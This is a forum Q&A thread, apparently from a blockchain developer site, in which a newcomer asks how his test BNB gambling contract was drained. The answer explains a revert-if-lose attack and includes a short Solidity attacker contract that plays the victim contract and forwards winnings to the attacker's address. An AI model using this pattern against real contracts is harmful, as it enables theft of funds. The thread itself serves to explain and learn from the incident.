0

I am just began to diving into smart contracts. And as a best way to learn, along with reading documentation and watching videos, is create something, I decided to create simple gambling smart contract. With probability of 49% you'll double amount you've send to smart contract. The functions are: play, topUp and withdraw(only for contract owner). Here is the code of the contract:

https://bscscan.com/address/0x7d4bD89A37b15D5373B9405c56CF0F18f1A0929B#code

I was aware about possible vulnerabilities like re-entracy attack and function random() which could may manipulated by miners, but as it was just a test contract and nobody knows about it, I don't worried about it too much. I've topUp contract balance for 0.3 bnb and made some test transactions, which you can see here:

https://bscscan.com/address/0x7d4bD89A37b15D5373B9405c56CF0F18f1A0929B

After all tests balance was 0.32 BNB. And then suddenly became 0. I've start watching transactions list, but nothing. Then I noticed another tab called Internal Txns. And there I noticed two transactions. First one exactly on 0.16 BNB to my contract address, so he expecting to win and receive 0.32 back (whole contract balance) and he did. But as I understand that he did it from his contract he had deployed just before play. So I am very interesting what exactly way it was committed - wether it random() function was predicted or was it an re-entrancy attack or anything else. And also very interesting how does he found my contract which was deployed only about 12 hours ago. Appreciate any answers!

Interesting exact way how it was compromised.

1 Answers1

1

The attacker used a contract that reverted the transaction if he didn't win. So if he would have got a bad RNG, he wouldn't have lost anything (only gas fees, but he could have used the flashBot RPC that doesn't include reverting transaction in a block).

contract Attacker {
    address private doubleOrNothing  = ...; // your contract
    address private owner = ...;  // the attacker EOA
    
    function play() payable external {
        IDoubleOrNothing(doubleOrNothing).play{value: msg.value}();
        if (address(this).balance < msg.value) revert;
        owner.call{value: address(this).balance}();  // send all to owner
    }
}

I's possible that the attacker monitors all newly deployed contract with some money in them, and checks manually if they are exploitable or something.

0xSanson
  • 718
  • 1
  • 2
  • 11